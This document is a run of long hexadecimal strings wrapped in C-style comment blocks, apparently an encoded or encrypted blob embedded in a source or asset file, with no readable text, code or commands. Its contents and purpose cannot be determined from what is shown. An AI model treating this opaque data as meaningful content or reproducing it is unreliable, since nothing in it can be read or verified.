ef7de301769885b0563c6bd0ca63205154c8865ef535bd3415fdd24a16eb2d9fe89cff30fce113ebe134242bf3f848732f5dc9d62946765224b66ab551fd22eb02c104ca8acc3f1a00932ecb4ec17c91fdaaf211b2cf48e6571e077624ec4ef63a0c103f29f0a3f11c5c1d3091210e83549359482d2ba39dddb891aa27e111fbfc14f1a16a4fd2c7129e8ba7161481ee0da10bf4d092d67c6361fe6e4e1f428fd11748623cac36cd17bf4cf159bf6ba3c39a87da4697f5fa77552dd7cc52acd5debd67ce60f2fdb99c4203ba9ffaeb7d10eadcb707eacc87788c87081d57a757d9e783faba27c93ae7f0765e138cddcc27cf01b3268fff912fb019b8fab801686d28819c4358dbda1846ca0c14ea75376cc09bc85af98158cdd04655103649ff683e7689c83de4f976aa74a2c197c56bfd29856f8e89f0c5119a3febf754f8f233d157d9ab816e7d294eebd12d1043559e25774281427e4b4c05c6dde389ddc4c9d849a5e6860ff475e7e315f72f916e3a413b3308ad580b62e85688e5c496c85691eccf13dc3561494c440c04f3e8e1d5f0b58582ee2e04f21e083884deb4cab04bd653e37eb11770b3e505ae3689f9074b69d8372ff93a0bf3b5cc17ee2bd5992d158272daecd6368dec1e29a4b7*/
/*b70297b4ac1ff7a8538d8de87ff9b5f76a1a2d65338a0a7dde3d519747190c2bbce858c5aa6b6c28d360eb2ea89ff6edd19b027db895b7e25830f2b9494c302dbab060fd870458d706c92256c2d6100b1a2d1494ba6054a592e9ed979120447d957cb601cbb029c9d6150efc27a824eccbfae77a176d390deb004c77dbeec3e2381151ad9062f2837f8580ac809cb63db1617435d60141d74624a0a84bf5a94a7a9d221ac32ba2fb1b625736fa61a504f0bf0baeb972f260c09a430c45cb3034386dc81dc3744a837bd2e49721c5b4944b133e3eb65b83393abc736e9772f8ab737a0d4c0fcefc346530a3e0f662d9aa3ccc73bb35b96fd5945e3960071de6c5819943bcb07b977a7bf539aadcc5f095111fe83f2d438b156f81cc3014d80425b46513059a58ab276adf23437925a9afee8c601f611f26f5d6e3f3f4598b82229aae08f8c88efc11adca68b08917b7476f82b32c19b7afd090b8227bd88d36fcfee31f376011ec027c6a6463e1801a7221c7606f164ebd6c1daaab2e6bc06b3af0a138203caeda150fcfc8e2baed9c94adc70cdddd0d0b3426f0224c72573014a60944660f6341e3809e26f9b8a3f2fc61d44e65cce47406fe0388aece040c34bbbb0b33087907ad8a142552824679d410500db760470ae0ff3599e92f4ca7c417f70882c3a4e785a1e523414f707c6466e8d26cda446b76124b699a6a7387e3c77716c1f36e7702f10ecdba954a30bcfdc68c699d0625f21c52ee7ece51c6994c1d450bd642ec0077cce86b23ac4f88f50abc0009ab361ceb36f85d0914a6c7eff5480d22ad271ac8c9785d95858569abd36784e26fd22a4ab467322a7f35d5a54e00f8eeb64c6ff045d09705df62bba538ff7808b29819785dfd96e19ebecfb4f1638b3c127326eefed338f786a68d642ed8463754962ca82314dcbb479dc364370c6d9e2f9e1fb59e0693852b4a8a2273fb82d8605676e1d297635f0efdeb90a518d94cbea44370c7918bbb12b1d3bda7344f44d3c2a0252fd965eb6ddf4413e7c9a81e3a594fb5685852c70d93158a626ce3d2143f346e53bb2f6a5aad50ca1a55771863b02f80fdadbc5afdcb7ea54444b6ede51fc366ee708a403d50de684a7f60fe9221b3091cd1eadf5aa7f37c67fce715898c7691fc0bd58e8b5f618973b12680a46e9f1342a369bb9dcfdd59ea9c43da6832d5a4c2ae870ea8fac2ea3affbe0e7898c8d64ba9e8e89cb0505185dd295d25b9729f04f8aea017a472dcdb8874c298b840876fe111a027724f058a6e0ab4ea5632293805f08439045cb2028a3aa181f623b80169349f00d011b00b9e76a2a13f99835f1fb524daf5c4b62eebf0a537d308b2d9cc24ddea7880df5022ff69355b60c5cff1246958cf95e5879ad1eddb75021858155784a5f86c28e1fdeaccb98a6e7aaa815af1610d39f7d253dfa96451a9557fbab173d4e7acbbfdfad2507495d7e73f57369ecebe90d0dbc7f599e7564f8925a9f1f8442643dc60d5cfd1d147b80b8d45e4398f61845d6fd77e9b3bb97c9749a9b0cae68a666d6a118b66e4df2ad119e115d9484ecd15b671031c58cde7df0372c45dcc8b90aec25b99c8ecad171a45cbeecd8607a899d813f8c47018e771280de08df0d62d540a3c9e5f9780256e69f9136d934cccc5bc6bac7ec6315d9869f6758574f422d7688dd5378c2875b78b5d76b3c6007125a5b42ad3401ba3f78f46ea213b079dba6ce250469607e6511fa9a8f5687969b04fda22f67159ea7cf5f2fe024dc97e366c5fb330d07c4c5bac178b68fdb7ef2b91e6b2d3d51955129392de6225ed7fa68f0780b4d6f8b3e662920efaaa57ca3f5595c24314b885cbce403b37801fe26f86ea7a45746881602a906613d57dfbd395b0cb2af0f61dd77fabab8b9824aef2aaae32b5dbf4c21d8621ce9047309aa1a54db3cff97e9d8c0a446bbb439ecddde231dd326073b15f838a3cb6a620122a6fe6011044c57dc7d26e429b2d0e59776fbe1f8e95cdcc2129b02c19023dd6839df5373597c7ae44e4a661cc77c1568ece6f3b1c0f6b8ecf4eb6d11c8d03a93520a3f4a4100e581cddd05c8441a33d480305a9d5e9bcc1d20963e7526c8f1159b693b4675bd8d63e63192064778395f2f9908a3436b68bcc3c0cf23023c67a2567b70cb91f364aed0f7b5a8984102d309001effd12227b8fd851e6cc237de0f2739a6fc8fa8ebd7f0d76c951e9be29b5ae56f068631ab26190883b89a9105c3aad2f585e2bcd7b1ad7017d415e62b1bc9f0cdc10e17d8e647f6f835377f88d4da57c798e80a24cddee4434d58ff65f5abfa6f6bb8c37e4e87d204c62bbc2e61521bd719ed004cd064a707dc289dc0f0e98e2ecae28ae2703918c61cb2757335cc24a17b01887e5f6e5ebc6f511208fbf428ecda65a2b829cd1c74b3a50190d45dcc23e0ce6f80c0595e3ff98fb26d7f768c9d4d3ec450310a52c27defb43ed95f2502ed83e4dd27ea80b102c302e07b5c7af1f1548cfecc99a12fc122194959d9b89e58fe320597d9c794e3858dfaa5c7dd19799cbac7d1d58de3e6d2eae7aadadff1cee6c6e93e4d3f1762a72c00e90b0179ccee053279cfd67c599d72f5f850f2194a340cda9330e6769bad321d519bccaf51850a2889dcb4ef6b9c692cb5aa9528673bc627da75709a8c32ebc828a244dfe95a9abe070078f0e3c3f10d6b424887a221d022d410f15e4682d4d8dd83fae5fbe5f58dc1ec8c912b236eaeaf1a002ec65786aeb1bfb07fd653408b0e0e9c49b47441c996f3a0d3406d84ff3ce9201a39db83dc969180840f24a6fac*/
/*3dd5d55a23ea47e210c6c5c0b3a17357f4d05e48e5a9f81aa791f3beae866b119604612631448fa64e70dfac96f29f6959bfe4b847a1bfcc05f1b72b1d8327bc71dae1dec1775f42ed563ae668364ed1dae66afbe95ae3b7383fe06115a0c98ce712d4dcb50dad62c75319d290424397ab14cdaf6d9076f73dc9cbdb20f5ba26c2f8388a17671d5056323469a47924a38f15d2c84e2b2d376ad264e4c87e24f3f94717d2971ec4e89d7cf96a1bdeae67b21e0ea0f8743cd7fc4ace20d188b8742d7959f3fb92de9324545347b6b6715013a0649872a6e5bd037cfedf6c97241617387eab7a133a2891d9bb5d2e1f43b402d026e83aa1d5f393f88df46f04f9e1997d60abfd7d8a6ecbdd5137de25efbdc6a9c3030c9bb230339107592edd7e9f40e32e3584d072f98d37d37120b1107930ae1931cd582f81ae46283d3119e0ff6ae662989cff64756f8e41f56a628f8f00ee8d93ce3e40e583ae42a71117c7a75c27c601da7d0948be617baace6ad04dcc787600ccdec466e15acf8b1b8ff153dfcc4b8deed9ad7a183c39f5bf113f31260f6dbb27fd91fbb893227aacd2b4048142884e9b8c050a703f61c45667f6a8455f11699201f8e973e5dca9e42d0b517582ef7b0a869483e6d2d759662454a64f51db47e322e4be5dea68086911320847e7b62f4243da4bceab35202d58f597949959e8fe3fa2edd22c66ac2bbfbd796e0d9082bd2b7d040f4b68edc5dde06b3387768f0e7c511fd2301a0dfadc1b794495810f9f7f026ee06ed9ab846f4f5ddfe039212844ffa4f48dd4dbbd5994e0dbf9bba401061388e9e21f21ef08cdcfa4ba762fe85365f9fc0fcb24aabe694f6457702540d2da2ce46f1e0cb07f9d19c8203a1d0061aa1ab8830d5e02d2be0dc75595f0a1cc497b0815a76a4dd34517d061a7dfce8adbc0e9e2c138563f69e479ce3e2eb2540fd0a4b6d66e96eea9e5028f18caaec1fe6ae84adae574fb7de2f1f563bd9fa89ffd76f6633abccd3a92ba068701805793b2a2c0893b96f63eaa3b1a09d53f25d8de50f1fce19b19752e5e45e6ffc5418297191ac9118e8a8ad12cb3aee443ffe322fc6ee99aeca8543604895ad5a9dc72f8d0a11705392269b1fb6a6302544065bef04ad098664edc02b131e7937ac66a74ecbf03bf5356075048f7e7e73698b34500699440e21a2d85a524a9f91ff0a68fa44cb9b424b60ae06771b3bccf2be69620f9749cfec2c18ab04268fb9e15340b51e244f9c7f3bd334f13b8149002aacb7f6cf3b1753c846e60f39c3784914ae5de87f8232e71c527c24d2c24747acfd7ea4e2f178e824ed9cacc48bc3f58b29127bbc856e5dad366add918eb5917d4b46a423e14686446c0532b1810a922836af61fa52867efc906b0c31fc5b0bb0774b5753ba042549ef4aaa40438eec2541cba580866a0e5aadfcd48a7b8adf6e7bb73b54cc09cfe8d43cfeb66eaf0a7e576728e21d3007e2e359a14f8ce19f0ee9f2578d024154474cab3e806be1de2a8d7593d51537bc12aa5a171ba7dfaeabc473d5e80affaa59f1d77b51415736f1dd9057e8e6c43ee06fd5a8ee704d46ec17ef528f565a3b5afdcec1533263dc434feefd06b543adf617d039a63162f1a724d20828db44f87bab523733b0556e59c3541d4e10a922811d22a83566b61457959620848a8dd14c2d121d61acb50308974f6d61d9516faf46691556b621f06169bc6599dc72383588be387cf0803d6e488503e70321cfd3bd2b0a63434efc1d6bdc2b521b780f1cc46c7be47ad2a19ac598a282119815666239c6edd5dc92f25079578e813c6c7228e0f96a081dda6658a3da9c8606aa1f8086077c6f2d36ad83a971d717d6649c242b30db5ce4ea5ffab30301fc5c1d46aa18f630e1d49fb15002067f503c1dcedba85be037f6a5e1cdb244c1aea63a14229e7af014ceccdafb5ffde77dcab1aa9cfb6977d6d2fcc9a2a1579e33b23535aa054109a88438e9beb191437ce5a6ce9baa8b40242b0761274b521b4d59b1904a3cb4f4e245b14e042f922c4480862451ff54d00829d83c2be89c31461ce6c24883a47c67b85b06bf93b849893b21fd116ec4bf159f024809aa64ea4bb5a6d42e0c04cc10b2517374cc52e48dd801036e2ac3b90bbf6b85cfa10154c3ba41651448d1dc50525cfbc3ab0a2d0d414652e33c0ccdc858ba2660cf0038b823c6767f4bb373f4b11d4fdb91f9ec2c9f94598dae113bf9668192d6438d5d232426ed70c214091d88834222c3b724ef3b2d5f86c62de7dbf4e535d77672e143db2b91f26f502dd617ce4373ab7970833bf93707b2039b6a0823fbba17e408c8c039d7297b7a119ced5121f71becd2d71eaf23c23129c47200e292012bada29d50ef634b46c6135dcaee6f7091488b028b306163bab5e11a250df41c32a7ccac1473ba0e264b5aabdf114f7183c52f281e2da0e6264959c4c85488437093795160e5386e5f5f128264515021d06004fa0054990a4e09f54534017c9388c82be20d06b9bcf9cd8ed0d9962d2f057a6ccfd4c245cbabdc5a9536155fdd489fda123954ffdd695c6d065bfd043c3501486ce757990b7fd24f6ef4558afd94d8a9be3fb85f0e4be51d575a883b4c6e21c9e9c2623d9234c0b02c3376330c7965e6580eda8852013b96f40de0bea2394178c14237c7bf4311cee3bcd748781c44f34cd018797691c61694ff8926c10517153afc95b1f5d2b45034ebfa75a7d57d1e68d11e2c010a082f36219837586f37f6684d13e115410ef3e305e8f91d8d314b3d0dfe2c92f22897beeb270b79f56dea22aff8aeba5*/
/*b156f1682a0c7b2ffc516e5e58722c39579457938d53296d770a84689efed1b19f673af8060f6918e340dfbd42d0bc803d08c79391623da877dcf6991bc9a3a4a50717a436f57b0d3e8cad6dc1bbf57ff13b1ede07ea0c3facaace72a64ce0450869b2697fc2d0dae5fadf8d5a781f1d12bebceb36e601fed745b59c82ecd70cfd46b2eafea5f50a95d3a122b06830a93d830817bf637d52738010dcff2c826cf405ce5156b57843ee0db71b618cc7837dfe296c2663b35612c6b801aaa3d38576ad8636796f4e99230d711b667a5d48f85df3fa804a7c718d58c78ecf76b541d0c8e634235a3005a1fe1616f964f5d72731f8d4fde4a6074139ac5860445b2172cadb66b225c7a3cf84f98a4de191e103be82b7e7a34ad2c563a2137e6b53c6d82789f17a7ec22aba253c160a482f85286c6e01af82be010bee6340883c36ee5e5ccdfe95320cc5aed8110b6cf5bf65d0fc117255ff007fa67f0e80528311e26b3904ed4002964a2a05de4812fb1ffa59e3602c68842fe9b296a5664fbac5973040bba9d71e04e1389c3a780f846b17f0262693f2ddcf3504c521c2fd7fb7269a67e087d49c4b3ee24a3235669bfde37599d422abcc9ee8ce44634f2e5884d6d50d9f3f5fa461e5fd7a24b53f9cebf1e5b68a92655d930677bec15691824b6e29bf1915ab329ca6dbcf068e46952c0be9e7392aff14361aee114a5d11f1eba4635f7362213469c22036d0efac0244c3f855a47fe6a27f223b131f10aa16e1802a6cbabb586fd06e435515ce6f15444ba7d6385b4b4675d0d87c7975acaf07c96935c0f981d8e89b2f3aa27f5f235103f24df375f7fd28abd07cb2093054b0356f7dbab2809e0fe10ea499004afb7b1de1d8a82afd943d83381838b13291f6b21fe177979e245e5cc23d9c1b0a76b104d442cd453cae64c72ce2e99c02c22e619276c3f3a81dd7c7976d459e12984fcdf451f4a53600ab290b820e5e5a553795f4e9e7ca644b4532c6b56a890541e11831ca70936add837f218e9d96bdcbff2867cf8cea4b1174d93bdf6c62fba6ab233a4f66702ebdd5e5cfc5c16ad7906ec7511f155ab340c246c78bf5b34088a3a703003b85c6e7fc3efe9c32e6da394fa469a861bf03c512e5cc7e1d7e482dd67fd590f376172f8948303092f04e7839cfa3a2e2ad5f466355a1f5ec4d601336a8682ce73b1c9e2b96423b0b39ed9e21a4ac93165a7896f369eb40a11d138fad2a4805eb6727a6528dc7f9b573227f4ca456069c34d056a5ee2e398681c80a6f098196fda43423beedffcdc19e0956cc6cb30298cb452cf4304b001ad8b0f273d83386cb0e34f7c22c88eb3c95d3241e23eb847f0bcff5b490dc2d77cc6c50aa5344c4049c7947b41d9ddc6357f34fdcfbee1ea5b2907c43c9fc9b10f1bf0bece9e00bdbe4575c370080e63f59db28c33ee52d8838bf7e3b9a157d34ab6670f097cb506b656f1e5b547a0cede66682676d78747a1f3032b8f28d5bccd672dde24f42f57edad27bca591f3b46616230b2e8ccf2ffc95fa515a960aa661149a8de7027cbd5888aafa4aa3a467f8d05963297cb7e9fdb6093878e6baabb6717aee99ff1a6550b67484146ff1b49ed8ba2269ad97e0bb4be5b349b12470aa2278c3c1ab9078b9c64a671a7ee3f23d5cfcc036b3a51c16e5c5b3abd24c703da6f1c2e13afbac153b69b3986fb0c1efe63b9fcf881913ce39fe6f9f99f070bd765aee3093ee6821676e2a9b62a04cc7a9ca587170f624bbd178ee0118e520c966d183ef084cec003330fbdc3bd7fefefe461af5238d558d4d92ebf0afc27b68ea6b180fd3717007ebcd58db21f48e5aec9b7ba23399e8aad8247d6aa586a025c53f42edf507b2ce840dc5048b093a4fc49825d616a7bca8c922c4e8fb25ff5799f4cfa4cc5c962a76337df1748f505e0df1f73e1dcb1f8c8d615c38f9eb26d20c43c211098eb1d64deec89d040cf965a98d312b29deeb1ec774b310f4363fc1d7506254f71436c52994d5c11f9f9e9a606b8b619ddd6da21d729a39675b58c729e69e5c7874fa2f3f09dff7e2541d3565794395baca08207c80cd95e91eca763b68f68176c19ea259d4595affbd22f9ae80db7785977b35cafa6b9942c02fa6da83fbb7a420c5384282a3a02f9b419245d773c6c9129e89ef1bf567c7c8c60c6038f3ea636f0fcd813d8725c0f8b258bf57b08d72a25a665838d2018a482a7c6d187a69a3b40ab8958901c9b73b7c246aced5e0c712c0d1ff36199ecb552f1be4b6a713654b00e3b4614a20361d72dfd5e77eb8dc5a41079b2e5d85c0f368c7b9b10adb957ee729c312e4fddc35b62f3f9378b2925c99ea9b31a9fd0cb1e373d01fa129aa24391ea570a842ad5a165e9e9daed82a9205daf1e7bd6bfa0ec767ef825899b2ce6ea563951a07d93a324aa8d7f28ce88f00de2adb7c25703d6ea5d2bd87b0baed6fb700850e88a52df8cc47a9601cab52dc283538b46b969d88a9d81dab7cdda8f8c65d73216f9311e9c69a8fb5346d366418e3c82ae493a5e62caba9b1745752e801137f36567532aa6f5830207f2bc640d939238c1764e25ae99259c016be49c18a9b414466587f0f34e43969e76ce166a82404528a9a4691158b6ecdd1d9f45d9ab2d12eb2614536c7e2538652cced1df415e79c274581210b9b07a2b99aedf6df67450f84e797d3a291d9edb784099b48464ebe606f4a54f3d2844f9ad5c2764fc39450c900530edcccd3be5ee496779fc6aa3eab337f010723596c4b5f78e44b250873133c62cec9f4124b561affdb1104e112ef0f695099beb396694*/
/*b6e31a7dc751e09b28735e64b0f4b356fb79a3bf4d163fb477a424c94e236738378c645d31c06cbc9c1bd65942fdbeb2a5540ab465017261df915ef147fa3ada12ecd500de85f91bc0f6dd59f8705d8028c693e11b1c36b50ad3b600aa822f561d7f660ac55b0618a4563f20efeea43be90ce7c3ad47eaffc6929fd53471fda28f936c980be54aae5b7578b361ad5a292067c61baf4f821b0936a80513d339fb962b80cfcb61d5aab845fadd22b4d1598ddda6afa5b2ef649c74e2813db4056bc521bcaa469a494f8f21e7ea141dcc154e763b434bdcb6a3e629dc3ddd38eb0f32724a398948cf302ce7c394c3c15d6fc0ce83f81a7797f4592f9bc3c2735d968732d56ef07a70dbe114194a7a3665560ae0cdc3ab4177c913a03cc9ab5429888ea0077bbb3412781cc62c4c88b27787993bd9c4591c5e65c31b8c16bf1cac628a5c23a3514b51deeab1b55c775fd665975eb3e778ff31ab7fc57b087983096d49308b3f65d3adf85c28a896b59ba25e9bf044d15b319b6a960647c34e9f540d09e2d6d9340164666e063c5b5aba0de157538538a99c1fb5e78c77cd66c833546ac1d13481e524c13eb369c15520ba259f39b5588fb612b9615c6ae142ee7441fadad9e5507c85eb8e77ebea7aaa17f24a1c28dc664b4452d42ef501aef3c55feeaf10d33cce31ff7414c25fba7bcab2f867270fd97dbb9f5ce43cf9fcafae71133d8776cf5487d4f75abd78b4bc66c6bb499e08557fad57bb04004f28a88c2ac4f7dc2182e8ddc612785d0fc3a05eaee6377f961c0ff9b9ded1fca9ed91cd32503f79d69014aae0704be89c56c8b032d49df090332785e8d79d553132009c931592027779b2d5e2344c4c6f1ab31697c8af422204aa6723652c299d863f87e4b1ebe1e61696f0cebc11a7818dfd91356be0f5440c87259a8e47531ef3d9a651355234a5ed0ca0be736c01a835837ff39761dcb1fa66a9521e7a00b48affb3055c7e048109f4d851332d04f1330d2902204d144147c4df62a5a2cf60b470aac834defdd2f9fbd2c909200c5c9a6c1b75272874cdbc2ca47553d417c8aba7dc10aab9dfc74e1856687a11576e50367732dbd30c6840082e3adc8bce94f4cf3b7d9ebb4421b231a77b0cf8af47f22d793f7afbfd3b254fefdf3de17c20f3bf891cb7312966dbebfd89e497c381a984f7388f5311623f3b9f79d800172d9f2d940c67cb9109ec3e8364aa2c85d84b752f1fed2ad8f4e7b022e99603ce908e7bca852d3614a6fde26e2eecb7e9abd1e3970126a364a29fd1da9c97be0f8126d8029b210c7072868b507568dbb0df055b9a6bd38872c5f14abb1c1ba678ba9ca84bfb5db4f90362703f1b098157b20cd52cfa0d0cc2cb68d3ada5ecafda05c034e825dd0026bcfc8090fc30a64c20dd8b138eaa7d816fdcc6f23bdf8f407ced2369ccba1d791470ddd3663d6248fa1c63352c9bbe8a9acfbb2fe22a5b5b0ba1ccd8fe424aff95e4b1372419c647068dce82138bb7336b8311d2930a376ae889e2bc617804e78726f1dcd124158c9fe9de792a247551d0b3831ca2a21b4945d61794641455ca9c928c25c82c5f7d86407c6c27491f9f60243f275f984ada90e4c6c7c77568682c217069a0991c9041de6c2fb119e891543fff8a766725f53d8fa94826f70ede4bb9958a343222338bf7e166559bdf5298ae836c05483f2793428ef1a72e80ab17c50235c643d1a34e21f32ab77427683c9b653c319a8aa9a3461a0d81ca87a63c8e7fe1df6f6080bbd0bbddaea2f3999175820a5f8482e465292f38ca9c2dfe841107e674993f7a42b7b31afd7477cca3af605e9f237b07b125c12baf450ada7d66d8d75b4b8279eba5f0af17d9c9f4d7bd3047bdd47f35e4c6fad784090c7ebbe815464c98cc161f1a4379c8532454ddf9bac5abe6f4396783575ae8cbb25d6ca2d904272d21004faa163c337ac9e56190d92401972f847ce8d8337bf6aa0d9a092fea5a942a8b8c9e59bcf47eb8f2b1f465253668ea32c8b86462019c54d88a21a74861c703bb9b9fb2ee61a4573071bb1d242c36d670b7af67e2614f3300a32fea92ca78ad546041df2896d8e73ece9a4f2fae98c12f3915089f483372ec2bab64767a1c4c6ba934666cbd43d7593cf8f9865d068b323bef897e127b6567b7b417f8a112b4eebe22078b04aae285bff8c4a141e19d4eb2f78da5ecef54f680ac557d4fcfe8846e8785cdf765fbaff59f353095b5ab5acd1fd85f0f57c5f676966bbfe4c4705dc1219420d2bba3ec777e6e2a1409cf74fda251c5ed192f85beb2865710592e9ab621852542fc6351b05fe292c43c148f687a181a2420472a128a39bf307e8d44c8123b9a13698e07960fc5638865381aff011a1bf5288a4115139c4ce0985f41f850fb5029860180e69fe6d2296037c0dad751c12882df82e153b1889283aaf0b1b2bc13654d4dbaaf189ebfe820aaeebfe02ecf5fa2230cecd065e5f8bb533857851b1752d7d29e56fa39e0abbf0baca255b9f2d27144d9d686ce141db928ccc1bfd4808f6617588c19304fa9d3d558c1c9f806c51489d3776859dd5fc205895992a3830ae8c135d21b2a014a0edd6a9024b31686e6b4f6c90a63155d0f93f8520195a4e3bdf241b20909dfe9e28959dc60b7107d54b4c9504b685f16361b9b682b2afa2769bdba1d3abe3b538ecbea934c5b147b2f65a8b02cd9ec67103ea05ac14eea3c5bd22f7831db2396b128c78d6482be38a8c7ff603b30a0adbdf4efa0b5bb9be39a95cb2486b164018ada8fa62a29c8496b92ea4bbfd0678a54567416ca96244c*/
/*81b36076834c7dd45161791fa8d1c0eabea05c01d5b88fea88dafe299f854f53b0c8b731cb97035b5700f14d29f2a0b53de057b527b41f503581a89298bcb2646194908a65f7c26555b5cf4d7004b33d7146e9f50c193b7766aef9e649b031958df799057438b401726d0fd441419fabbfa6a9ac897419784e75c1fa3190390210d375f8972ad6ef6401f4f4330f0f858317d45212d7bee4ce1e68c92c35c80945b4c4627a739a558b5aebc2230303a9e1f8d5c91330f4ffa4591e264af10205c108e0f0bf4785c29a95675d47fb3f43270bee23f8a9ab7cee347196b621be6575c7cf7fcef90793ab9adaa3264b433ed98164779c1146926b044f209dfdbfda50ab578415d826cbac219600ad920785d75a111acbf30222d78ea6f2a36c822531a11f1cde684c9371bfd151c99dcdd13ab067a14f89cd9cae4e42f536b4659e962c88fa0cfd743b4501d237d7c91c1fd17ab9eca549f32e414398f3d39d207c86bf14e5cf0f05aa183e05e72401930ba1c22836a46581ab4d1ea013342a7527ffed965a726122f5372c03dbef8669248bbf7b2cac8dcf9bc7825815de0dbf56eece57b69289a1a307e1d8ab0e95d30fce52667d836cd14d730a65d4735f750d6ae6f41de18bd7892903cd5c1124c839715d277b399115ae7f62ddcbbd09b89063075281484e136171908ab2e811115324870af7da317140303188a0e40904b202551d261a51bbaa69f9a3a4c17b0ae48fbe41e8d43a0c11d51b22caf0343716c8db1f565105df955dfd6492d33be66d7440e6ede7166c0d5778279516ecf4e2b0eb97aeea4a9153edff76d1e143b5668e2f3e4fa4d2c7e152582e6040e41c55c60bb1a43935c457eb104b2419dce573f3a49ab902a584fce8c65c8dca2f6a5776f28ec61e1abeb69a03198a72ba9db8d8a56cb7c7bdbe0bd02a8053234a52257bed396c09ec063fcc7fa30c473407b3c52124537b16013ebec2141ab802a726a7bd321ef09cefd1a98544ae404b2a49dd6aa06518857cf370cd29ba08208cc23a77e1a295bc5b7c8264dba7b1f0cb52b9b6eeee6710ebd954c228a36bda7c315b6d2470147940407061247bf06b6f37826a5a516cf2835624d12df49dec1a466cf4ac4510872b890f165c63719eb98ee3c63f472fb17c82288aa981f521df39d70aa07d24917ceb18c12a93c718f3ac3bd3013345af74220f48dd90521386ec513874f4c6b582cf326fcd8216a5a44a19a6e1c7fc18d84a13d196873926e626435ff86327d66123de05cd29e6dfd19790f56c712a9b0c2f0d603523131cd8836272a9757e226cd334a6b552434b4e90c13deb45a5b4d50dd7d627bd7da787adf159ce0d1c8ddd28b3d8c88ad68c1b803a532ce48d7ba277e935a590e31c27ad9515bdc5a3e8f76b4563139c8f387465f758b2a38f0e2b14ada446aa11da310b85b6ee2491357b96154feb315771c5d06e4e71e33e7d8f3e705cfb6b6641a58defba5aa83f3875231497efc7fd18249f475143080cf161bea3d83195e17d36c05ef2b3359a37ef8e68c09d3b90cd3babf0690dae5d6920565599fd9aec00705156f048507cdaaaf0dedc03f38461e10c8496875922861ca7801ff4075bb514f47f41b061892c634a972c2d323074698432dda7e04ef0481e9a307bc22a90831c956472993b4f98af25d82672fa5529dbdedde5a40e54969dc2baac103e96f597d882cafbf104c084587a56a4195fb543fc0b2ecb806da17a475ec7740622a4efe3e62c23d12b76b7dffcbb322f50dad4bc30548d550edf009774cacfb9c29da9b549f002aa580e4c03a049ec297d115c4b6500a171b1427883a700f0548737aeb90c5eaaf47764c8443a10b58e47b8644043390ba3fbf55905dc47cb5118798cebf8dfbd38b5052ae061c536c11ec743eee7c9012a797b7dbe0d55f8046c6e8562686a35c55281a91b71bafb646ad44afeb4a1cff18145a4d8e62cba0680b8099a64d003168506450250de7174e47b2845dc05cca4bfab9469c9d828d9fd8c2f1638ebb92228b48d828befab52998ddbefb2d504c6c16493dd273ce8888ad547c996860974538c592fe03753f357d29822deb4632ea6d321594b2320c3bbd3638fdc6a1353db5d1b6d9aca131ed4594a1bcdf865dc4611f93fddbbf923c137ac8536d8dd4f07ddf8a1caa703fef107d6adbf6d0770c28c088efc0110cb1133e8700d911e826b2f767342cf65fc30a4d84afbf181d711ff242b2461042514ddfa7084bc0b5997a3b43b23dca1cc3dc4d68191ede71b8b6481c4b039282a4e2f637fc33738096b5fa6db9de9a82d84045672a7952dcde1cca3a78f486da84bbcf117d04f544f63dc2cf4c551786c7771424a961875c6d8af468dada5dcbc6bbfe7ca41ac5f2da41aeb9c54c504de106018c4f95116511373702ace84c12b716189a7b9b43a2d963797688cb3a6728ae012060c2e01972c8cb6b5620fe63767a1d25b4f2c367081b41fe0bc8c546cc1a3fa1c0fe863283423798cf7ee0dad94fec3fe71bce03b1669da65b886e644a04bcbd69e7e488530182e01fc62b8ae810249914492d0f505bb67fcaa8701fda3712ce2a87caa0c3b8ca66a01213e602fd2af2f66fae4b8273360abcbbafdd751c0c5a98ad5a452fe08f07b976fe9dbb69f23b49aa4a533511f65f8e13ad42dd66bc486fcb917b6ed2b6b9cf50c82a106140fc8868321a0bfcfd3b109574cc17780166aafd53c58d8d4d3c2b3983de9e4ee97664e64559f25024785c477c753b2e1c64a8bae865b1dfe49614d25bd3afd8891d0fb9636e86735353594bd32b0ef899d*/
/*7df3f7fc651aa2ddc770500cc60c99d170bd9326b8672b77ac73362d1921012a9da44d2e780ada9cc991b47ad29851a37fa55376eaba2a72128c3d3fcacda47807b77da3402ab656759d608f0154cd704b0e11b7661463efaef3495bcf965309a40f0f4c7be76bf31b43b3005b35136c7a431bd1d4c17353be2165e4ecd5b742dbb0e829982e5c909c9d831b2f3a874ac4aa12254036efa4ae95a625af42cf5e6fd732eb48471da02c75130bec2040d8be85cdc691e385a67a6aa49f5b357807c80830476b24d7fd647645e4a7e909c6ea21133b3fa7ebb37832e0156ee6360407f4d73c404c905434b357233047053aaac48c5343941f449a4a097186e5259f654d536d607a1187a28149fe9c7b078f1b41cbab8cd77a172e00709fbd35ac8614347cc1525ff4cd7022efa6121a6f297ca6c6770261df59430e077299acb2968b35a505d6a21b3ea9500389d275583cf34c172d9ebc9080e65507e8207fb947a873cee2773812f272fd5fd1f1c306ae225569b2b1c91c1ef09d99d32666adbe262e9054fbd551415c4319a899e623e8929242daef01d419fd3bc77843de6fbdae97c62416bd98aeb05e2c670a92bcbf8b66bd0b8256bce6cffae9cb692636fc13d2753e3d4bc76662971a731675ad9be7ecacd6cb20363324cc7b1c48d8d851b8146bfb55e02e8eed4417aa7f984b7bfbb56afa2a25631d4c60542b9903c0fabe6c8d8f0104b49a923d2bde3421f1e1f4570b2537abef07fa7f77d0b3311e4b0a6e3562a15b14b936cb0eb19bfc8ab901207b67ff6841cf5961d4f1d89f76099153f4ee6ab9fc62f77a9c3a6d07aa816b1c8ba15041168cc61e877985008019fc2c58c7536cd1592c3852566b5832866f85adab7e4424da2991b2abf2054ce7672fad15db739b435be5514a49d2ee475565f0fbde04ccc0cff3f5f36b0608a5757b7b0b7f3661038d592ea243aefd45e3f56674d50009f3afd0ec732644e6284361c0cdf855736d77131f9f1738407990e82871330a4f29aca7b3e32bbeb380e7aabee44e1a17b22f971fd72ebf1af5f8dcbe9742e301513e01fe534254414d51bc87a2be8c4e9882f28a4fdba70bf5d84d9b9207b0605e5e84add72f8e4de95360e7dd8c604574436792e4b9c3f065fb9236a61969bcec7996de92b705e581c53f1282d7c55452bac78e994c25987cbae8dcb75d15163c26177ddc4704bfb7a7f911a32ac3a1d693a44cf9ffb7f1478b1218a94508bf4099345c15bd33eb21d54ae7fe7760875207675fb5d3e18f0157487a7583bea64dbdaa02afb64a2908b93804b96ed483f4dd288ce307d4cd005485fc6f338b38efc1cbeff2e8895a54385fa11aba075e5e1788bfc792cdb248b7eae78f9540eaa30c2e34eb325b4be1081f2d1be57d4344085d1c9dc179aff3922136fe3eb997e30d4f50beedc83dd37cb61ac9a503791b987bfc30aca2cc50d219f27689723deff93e1289fc